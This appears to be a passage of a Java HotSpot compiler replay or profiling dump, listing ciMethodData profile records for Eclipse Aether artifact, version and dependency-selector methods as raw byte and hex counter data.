0x9 0x2 0x0 0x0 oops 1 9 org/eclipse/aether/RequestTrace methods 0\nciMethodData org/eclipse/aether/RequestTrace <init> (Ljava/lang/Object;)V 1 174 orig 320 144 166 201 142 252 127 0 0 120 225 75 20 182 1 0 0 120 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 69 0 0 0 73 3 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 3 0 0 0 0 0 data 8 0x30002 0x69 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/artifact/AbstractArtifact getProperty (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; 2 18525 orig 320 144 166 201 142 252 127 0 0 40 207 140 20 182 1 0 0 112 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 233 58 2 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 224 0 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 39 0x10005 0x0 0x0 0x1b61780ece0 0x475d 0x0 0x0 0x50005 0x0 0x0 0x1b613a64740 0x3e0d 0x1b613a647f0 0x950 0xa0104 0x0 0x0 0x1b609184e10 0x1e4b 0x0 0x0 0xf0007 0x2912 0x38 0x1e4b 0x130003 0x1e4b 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x0 0x0 0x0 oops 4 3 org/eclipse/aether/artifact/DefaultArtifact 10 java/util/Collections$UnmodifiableMap 12 java/util/Collections$EmptyMap 17 java/lang/String methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersion$Tokenizer next ()Z 2 5391 orig 320 144 166 201 142 252 127 0 0 40 58 142 20 182 1 0 0 152 4 0 0 176 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 121 160 0 0 65 148 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 52 0 2 0 0 0 0 0 0 0 224 2 0 0 254 255 255 255 7 0 8 0 0 0 0 0 data 108 0x80007 0xeb4 0x20 0x55b 0x270007 0x55b 0x218 0x1be1 0x320005 0x1be1 0x0 0x0 0x0 0x0 0x0 0x3b0007 0x8e7 0x60 0x12fa 0x420007 0x50 0x40 0x12aa 0x490007 0x12a9 0x38 0x1 0x5b0003 0x938 0x160 0x620002 0x12a9 0x690007 0x224 0xe8 0x1085 0x6e0007 0x1065 0x38 0x20 0x7b0003 0x20 0xf8 0x7f0007 0x105b 0x20 0xa 0x860007 0x21b 0x40 0xe4a 0x8b0007 0x185 0x38 0xcc5 0x8f0003 0xee0 0x18 0x940003 0x1065 0x50 0x980007 0x223 0x38 0x1 0xa00003 0x1 0x30 0xaf0003 0x1288 0xfffffffffffffe00 0xb50007 0x0 0xa8 0xeb4 0xbf0005 0xeb4 0x0 0x0 0x0 0x0 0x0 0xc70007 0x74 0x38 0xe40 0xcb0003 0xe40 0x18 0xd20003 0xeb4 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/artifact/AbstractArtifact hashCode ()I 2 6215 orig 320 144 166 201 142 252 127 0 0 208 211 140 20 182 1 0 0 248 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 1 0 0 185 165 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 120 2 0 0 254 255 255 255 5 0 8 0 0 0 0 0 data 88 0x80005 0x0 0x0 0x1b61780ece0 0x14b7 0x0 0x0 0xb0005 0x14b7 0x0 0x0 0x0 0x0 0x0 0x150005 0x0 0x0 0x1b61780ece0 0x14b7 0x0 0x0 0x180005 0x14b7 0x0 0x0 0x0 0x0 0x0 0x220005 0x0 0x0 0x1b61780ece0 0x14b7 0x0 0x0 0x250005 0x14b7 0x0 0x0 0x0 0x0 0x0 0x2f0005 0x0 0x0 0x1b61780ece0 0x14b7 0x0 0x0 0x320005 0x14b7 0x0 0x0 0x0 0x0 0x0 0x3c0005 0x0 0x0 0x1b61780ece0 0x14b7 0x0 0x0 0x3f0005 0x14b7 0x0 0x0 0x0 0x0 0x0 0x490005 0x0 0x0 0x1b61780ece0 0x14b7 0x0 0x0 0x4c0002 0x14b7 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0xffffffffffffffff oops 6 3 org/eclipse/aether/artifact/DefaultArtifact 17 org/eclipse/aether/artifact/DefaultArtifact 31 org/eclipse/aether/artifact/DefaultArtifact 45 org/eclipse/aether/artifact/DefaultArtifact 59 org/eclipse/aether/artifact/DefaultArtifact 73 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/artifact/AbstractArtifact hash (Ljava/lang/Object;)I 2 5561 orig 320 144 166 201 142 252 127 0 0 128 212 140 20 182 1 0 0 240 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 1 0 0 185 165 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 112 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 23 0x10007 0x14b7 0x70 0x0 0x50005 0x0 0x0 0x0 0x0 0x0 0x0 0x80003 0x0 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/util/graph/selector/AndDependencySelector selectDependency (Lorg/eclipse/aether/graph/Dependency;)Z 2 6089 orig 320 144 166 201 142 252 127 0 0 40 79 193 20 182 1 0 0 8 3 0 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8 1 0 0 1 161 0 0 153 182 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 11 0 2 0 0 0 0 0 0 0 128 1 0 0 254 255 255 255 2 0 3 0 0 0 0 0 data 58 0x30002 0x1420 0xb0005 0x0 0x0 0x1b612932cb0 0x1420 0x0 0x0 0x120005 0x0 0x0 0x1b614289b20 0x2af3 0x0 0x0 0x170007 0x85f 0x100 0x2294 0x1b0005 0x0 0x0 0x1b614289b20 0x2294 0x0 0x0 0x200004 0x0 0x0 0x1b61780e8c0 0x94d 0x1b614289bd0 0xad3 0x260005 0xe74 0x0 0x1b61780e8c0 0x94d 0x1b614289bd0 0xad3 0x2b0007 0x16d3 0x20 0xbc1 0x300003 0x16d3 0xfffffffffffffee0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 7 5 java/util/LinkedHashSet 12 java/util/LinkedHashMap$LinkedKeyIterator 23 java/util/LinkedHashMap$LinkedKeyIterator 30 org/eclipse/aether/util/graph/selector/AndDependencySelector 32 org/eclipse/aether/util/graph/selector/ScopeDependencySelector 37 org/eclipse/aether/util/graph/selector/AndDependencySelector 39 org/eclipse/aether/util/graph/selector/ScopeDependencySelector methods 0\nciMethodData org/eclipse/aether/artifact/AbstractArtifact equals (Ljava/lang/Object;)Z 2 5895 orig 320 144 166 201 142 252 127 0 0 168 210 140 20 182 1 0 0 176 6 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 33 176 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 102 0 2 0 0 0 0 0 0 0 40 5 0 0 254 255 255 255 7 0 2 0 0 0 0 0 data 175 0x20007 0xdbe 0x20 0x847 0x80004 0x0 0x0 0x1b61780ece0 0xdbe 0x0 0x0 0xb0007 0xdbe 0x20 0x0 0x110004 0x0 0x0 0x1b61780ece0 0xdbe 0x0 0x0 0x160005 0x0 0x0 0x1b61780ece0 0xdbe 0x0 0x0 0x1a0005 0x0 0x0 0x1b61780ece0 0xdbe 0x0 0x0 0x1f0002 0xdbe 0x220007 0x0 0x3f8 0xdbe 0x260005 0x0 0x0 0x1b61780ece0 0xdbe 0x0 0x0 0x2a0005 0x0 0x0 0x1b61780ece0 0xdbe 0x0 0x0 0x2f0002 0xdbe 0x320007 0x0 0x358 0xdbe 0x360005 0x0 0x0 0x1b61780ece0 0xdbe 0x0 0x0 0x3a0005 0x0 0x0 0x1b61780ece0 0xdbe 0x0 0x0 0x3f0002 0xdbe 0x420007 0x49 0x2b8 0xd75 0x460005 0x0 0x0 0x1b61780ece0 0xd75 0x0 0x0 0x4a0005 0x0 0x0 0x1b61780ece0 0xd75 0x0 0x0 0x4f0002 0xd75 0x520007 0x0 0x218 0xd75 0x560005 0x0 0x0 0x1b61780ece0 0xd75 0x0 0x0 0x5a0005 0x0 0x0 0x1b61780ece0 0xd75 0x0 0x0 0x5f0002 0xd75 0x620007 0x0 0x178 0xd75 0x660005 0x0 0x0 0x1b61780ece0 0xd75 0x0 0x0 0x6a0005 0x0 0x0 0x1b61780ece0 0xd75 0x0 0x0 0x6f0002 0xd75 0x720007 0x16e 0xd8 0xc07 0x760005 0x0 0x0 0x1b61780ece0 0xc07 0x0 0x0 0x7a0005 0x0 0x0 0x1b61780ece0 0xc07 0x0 0x0 0x7f0002 0xc07 0x820007 0x1b 0x38 0xbec 0x860003 0xbec 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xffffffffffffffff 0xffffffffffffffff oops 16 7 org/eclipse/aether/artifact/DefaultArtifact 18 org/eclipse/aether/artifact/DefaultArtifact 25 org/eclipse/aether/artifact/DefaultArtifact 32 org/eclipse/aether/artifact/DefaultArtifact 45 org/eclipse/aether/artifact/DefaultArtifact 52 org/eclipse/aether/artifact/DefaultArtifact 65 org/eclipse/aether/artifact/DefaultArtifact 72 org/eclipse/aether/artifact/DefaultArtifact 85 org/eclipse/aether/artifact/DefaultArtifact 92 org/eclipse/aether/artifact/DefaultArtifact 105 org/eclipse/aether/artifact/DefaultArtifact 112 org/eclipse/aether/artifact/DefaultArtifact 125 org/eclipse/aether/artifact/DefaultArtifact 132 org/eclipse/aether/artifact/DefaultArtifact 145 org/eclipse/aether/artifact/DefaultArtifact 152 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/artifact/AbstractArtifact setVersion (Ljava/lang/String;)Lorg/eclipse/aether/artifact/Artifact; 2 5528 orig 320 144 166 201 142 252 127 0 0 48 204 140 20 182 1 0 0 16 3 0 0 232 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 153 164 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 11 0 2 0 0 0 0 0 0 0 136 1 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 59 0x10005 0x0 0x0 0x1b61780ece0 0x1493 0x0 0x0 0x70005 0x1493 0x0 0x0 0x0 0x0 0x0 0xa0007 0x143f 0x98 0x54 0xe0007 0x54 0x78 0x0 0x120005 0x0 0x0 0x0 0x0 0x0 0x0 0x150007 0x0 0x20 0x0 0x1d0005 0x0 0x0 0x1b61780ece0 0x54 0x0 0x0 0x210005 0x0 0x0 0x1b61780ece0 0x54 0x0 0x0 0x240002 0x54 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xffffffffffffffff 0x0 oops 3 3 org/eclipse/aether/artifact/DefaultArtifact 36 org/eclipse/aether/artifact/DefaultArtifact 43 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/artifact/AbstractArtifact newInstance (Ljava/lang/String;Ljava/util/Map;Ljava/io/File;)Lorg/eclipse/aether/artifact/Artifact; 2 3239 orig 320 144 166 201 142 252 127 0 0 72 203 140 20 182 1 0 0 136 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 117 0 0 0 145 97 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 240 0 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 42 0x50005 0x1d6 0x0 0x1b61780ece0 0xa5c 0x0 0x0 0x90005 0x1d6 0x0 0x1b61780ece0 0xa5c 0x0 0x0 0xd0005 0x1d6 0x0 0x1b61780ece0 0xa5c 0x0 0x0 0x110005 0x1d6 0x0 0x1b61780ece0 0xa5c 0x0 0x0 0x170002 0xc32 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x4 0x0 0x0 0x0 0x0 oops 4 3 org/eclipse/aether/artifact/DefaultArtifact 10 org/eclipse/aether/artifact/DefaultArtifact 17 org/eclipse/aether/artifact/DefaultArtifact 24 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/artifact/DefaultArtifact <init> (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/io/File;Ljava/util/Map;)V 2 3241 orig 320 144 166 201 142 252 127 0 0 16 183 140 20 182 1 0 0 24 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 117 0 0 0 161 97 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 23 0 2 0 0 0 0 0 0 0 96 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 28 0x10002 0xc34 0x60002 0xc34 0xe0002 0xc34 0x160002 0xc34 0x1f0002 0xc34 0x280002 0xc34 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x8 0x3e 0x0 0x0 0x0 0x0 0x0 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersion$Item <init> (ILjava/lang/Object;)V 2 5228 orig 320 144 166 201 142 252 127 0 0 64 74 142 20 182 1 0 0 144 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 1 0 0 81 155 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 11 0x10002 0x136a 0x0 0x0 0x0 0x0 0x9 0x3 0x6 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersion$Tokenizer toItem ()Lorg/eclipse/aether/util/version/GenericVersion$Item; 2 5226 orig 320 144 166 201 142 252 127 0 0 24 61 142 20 182 1 0 0 248 5 0 0 208 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 81 155 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 74 0 2 0 0 0 0 0 0 0 40 4 0 0 254 255 255 255 7 0 4 0 0 0 0 0 data 152 0x40007 0xa9 0xd8 0x12c1 0xb0005 0x12c1 0x0 0x0 0x0 0x0 0x0 0x100007 0x2 0x50 0x12bf 0x1c0002 0x12bf 0x1f0002 0x12bf 0x220002 0x12bf 0x330002 0x2 0x360002 0x2 0x400002 0x0 0x4c0005 0xa9 0x0 0x0 0x0 0x0 0x0 0x4f0007 0x51 0xd0 0x58 0x580005 0x58 0x0 0x0 0x0 0x0 0x0 0x5b0007 0x58 0x20 0x0 0x680005 0x58 0x0 0x0 0x0 0x0 0x0 0x6b0007 0x58 0x20 0x0 0x760007 0x81 0x160 0x28 0x7d0005 0x28 0x0 0x0 0x0 0x0 0x0 0x810007 0xc 0x108 0x1c 0x890005 0x1c 0x0 0x0 0x0 0x0 0x0 0x8c0008 0xe 0x14 0xb0 0x0 0x80 0x0 0x90 0x6 0xa0 0x0 0x80 0x2 0x90 0x0 0xa0 0xd00002 0x0 0xdc0002 0x2 0xe80002 0x6 0xf30005 0x0 0x0 0x1b61fd696c0 0xa1 0x0 0x0 0xf80104 0x0 0x0 0x1b6091888a0 0x82 0x0 0x0 0xfd0007 0x1f 0x30 0x82 0x1060002 0x82 0x1160005 0x1f 0x0 0x0 0x0 0x0 0x0 0x1190002 0x1f 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 2 107 java/util/TreeMap 114 java/lang/Integer methods 0\nciMethodData org/eclipse/aether/graph/Dependency setArtifact (Lorg/eclipse/aether/artifact/Artifact;)Lorg/eclipse/aether/graph/Dependency; 2 6818 orig 320 144 166 201 142 252 127 0 0 240 237 98 20 182 1 0 0 240 1 0 0 56 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 17 205 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 5 0 2 0 0 0 0 0 0 0 104 0 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 23 0x50005 0x0 0x0 0x1b61780ece0 0x19a2 0x0 0x0 0xa0007 0x301 0x20 0x16a1 0x200002 0x301 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0xffffffffffffffff oops 1 3 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData java/util/TreeMap get (Ljava/lang/Object;)Ljava/lang/Object; 1 337 orig 320 144 166 201 142 252 127 0 0 168 128 196 8 182 1 0 0 248 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 